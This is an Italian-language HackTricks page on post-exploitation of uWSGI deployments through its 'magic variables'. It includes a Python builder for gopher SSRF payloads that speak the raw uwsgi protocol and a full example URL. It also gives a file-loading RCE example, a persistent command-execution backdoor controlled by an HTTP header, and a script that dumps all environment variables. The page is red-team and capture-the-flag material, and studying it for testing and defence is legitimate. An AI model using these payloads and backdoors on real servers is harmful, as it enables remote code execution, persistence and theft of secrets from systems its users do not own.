Trucchi di WSGI Post-Exploitation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica di WSGI

Web Server Gateway Interface (WSGI) è una specifica che descrive come un web server comunica con le applicazioni web e come le applicazioni web possono essere concatenate per processare una richiesta. uWSGI è uno dei server WSGI più popolari, spesso usato per servire applicazioni web Python. Il suo trasporto binario nativo è il protocollo uwsgi (minuscolo) che trasporta un insieme di parametri chiave/valore (“uwsgi params”) verso il server applicativo backend.

Pagine correlate che potresti voler controllare:

Werkzeug / Flask Debug

SSRF (Server Side Request Forgery)

Sfruttamento delle uWSGI “magic variables”

uWSGI fornisce delle speciali “magic variables” che possono cambiare il modo in cui l’istanza carica e dispatcha le applicazioni. Queste variabili non sono normali header HTTP — sono parametri uwsgi trasportati dentro la richiesta uwsgi/SCGI/FastCGI dal reverse proxy (nginx, Apache mod_proxy_uwsgi, ecc.) al backend uWSGI. Se una configurazione del proxy mappa dati controllati dall’utente in parametri uwsgi (per esempio tramite $arg_*, $http_*, o endpoint esposti in modo insicuro che parlano il protocollo uwsgi), un attaccante può impostare queste variabili e ottenere code execution.

Mappature pericolose nei front proxy (esempio nginx)

Misconfigurazioni come le seguenti espongono direttamente le uWSGI magic variables all’input utente:

location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f;                 # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod;          # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c;             # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}

Se l’applicazione o la funzionalità di caricamento permette di scrivere file in un percorso prevedibile, combinarla con le mappature sopra di solito porta a RCE immediata quando il backend carica il file/modulo controllato dall’attaccante.

Variabili Chiave Sfruttabili

UWSGI_FILE - Caricamento/esecuzione arbitraria di file

uwsgi_param UWSGI_FILE /path/to/python/file.py;

Carica ed esegue un file Python arbitrario come applicazione WSGI. Se un attaccante può controllare questo parametro tramite l’uwsgi param bag, può ottenere Remote Code Execution (RCE).

UWSGI_SCRIPT - Caricamento dello script

uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;

Carica uno script specificato come una nuova applicazione. Se combinato con la possibilità di upload o scrittura di file, questo può portare a RCE.

UWSGI_MODULE e UWSGI_CALLABLE - Caricamento dinamico di moduli

uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;

Questi parametri consentono di caricare moduli Python arbitrari e di chiamare funzioni specifiche al loro interno.

UWSGI_SETENV - Environment Variable Manipulation

uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;

Può essere usato per modificare le variabili d’ambiente, potenzialmente influenzando il comportamento dell’applicazione o caricando una configurazione malevola.

UWSGI_PYHOME - Python Environment Manipulation

uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;

Modifica l’ambiente virtuale di Python, potenzialmente caricando pacchetti malevoli o interpreti Python diversi.

UWSGI_CHDIR - Cambio della directory

uwsgi_param UWSGI_CHDIR /etc/;

Cambia la directory di lavoro prima di processare le richieste e può essere combinato con altre funzionalità.

SSRF + uwsgi protocol (gopher) pivot

Modello di minaccia

Se l’app web target espone una primitiva SSRF e l’istanza uWSGI è in ascolto su una socket TCP interna (per esempio, socket = 127.0.0.1:3031), puoi parlare il protocollo uwsgi grezzo via gopher e iniettare variabili magic di uWSGI.

Questo è possibile perché molte deployment usano internamente una socket uwsgi non-HTTP; il reverse proxy (nginx/Apache) traduce l’HTTP del client nel bag di parametri uwsgi. Con SSRF+gopher puoi creare direttamente il pacchetto binario uwsgi e impostare variabili pericolose come UWSGI_FILE.

Struttura del protocollo uWSGI (riferimento rapido)

  • Header (4 bytes): modifier1 (1 byte), datasize (2 bytes little-endian), modifier2 (1 byte)
  • Body: sequenza di [key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]

Per le richieste standard modifier1 è 0. Il body contiene param uwsgi come SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, ecc. Consulta la specifica ufficiale del protocollo per i dettagli completi.

Costruttore di pacchetti minimale (genera payload gopher)

import struct, urllib.parse

def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt  = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)

# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json

Esempio d’uso per forzare il caricamento di un file precedentemente scritto sul server:

params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))

Invia l’URL generato attraverso lo SSRF sink.

Esempio pratico

Se puoi scrivere un file python su disco (l’estensione non importa) con codice come:

# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')

def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']

Genera e attiva un gopher payload che imposta UWSGI_FILE su questo percorso. Il backend lo importerĂ  ed eseguirĂ  come WSGI app.

Post-Exploitation Techniques

1. Persistent Backdoors

File-based Backdoor

# backdoor.py
import subprocess, base64

def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]

Caricalo con UWSGI_FILE e raggiungilo sotto un SCRIPT_NAME scelto.

Persistenza basata sull’ambiente

uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;

2. Divulgazione di informazioni

Environment Variable Dumping

# env_dump.py
import os, json

def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]

File System Access

Combina UWSGI_CHDIR con un helper per servire file per esplorare directory sensibili.

3. Idee per Privilege Escalation

  • Se uWSGI gira con privilegi elevati e crea sockets/pids di proprietĂ  di root, abusare di env e dei cambi di directory può aiutarti a depositare file con proprietari privilegiati o a manipolare lo stato di runtime.
  • Sovrascrivere la configurazione tramite variabili d’ambiente (UWSGI_*) in un file caricato tramite UWSGI_FILE può influenzare il modello di processo e i workers, rendendo la persistenza piĂš furtiva.
# malicious_config.py
import os

# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'

Problemi di desync del reverse-proxy rilevanti per le catene uWSGI (recenti)

Le deployment che usano Apache httpd con mod_proxy_uwsgi hanno riscontrato di recente bug di response-splitting/desynchronization che possono influenzare il layer di traduzione frontend↔backend:

  • CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): header di risposta dell’origine appositamente costruiti possono causare HTTP response smuggling quando mod_proxy_uwsgi è in uso. Aggiornare Apache a ≥2.4.56 mitiga il problema.
  • CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”

Questi non concedono direttamente RCE in uWSGI, ma in casi limite possono essere concatenati con header injection o SSRF per pivotare verso il backend uwsgi. Durante i test, fingerprint the proxy e la versione e considera desync/smuggling primitives come via d’accesso a backend-only routes e sockets.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks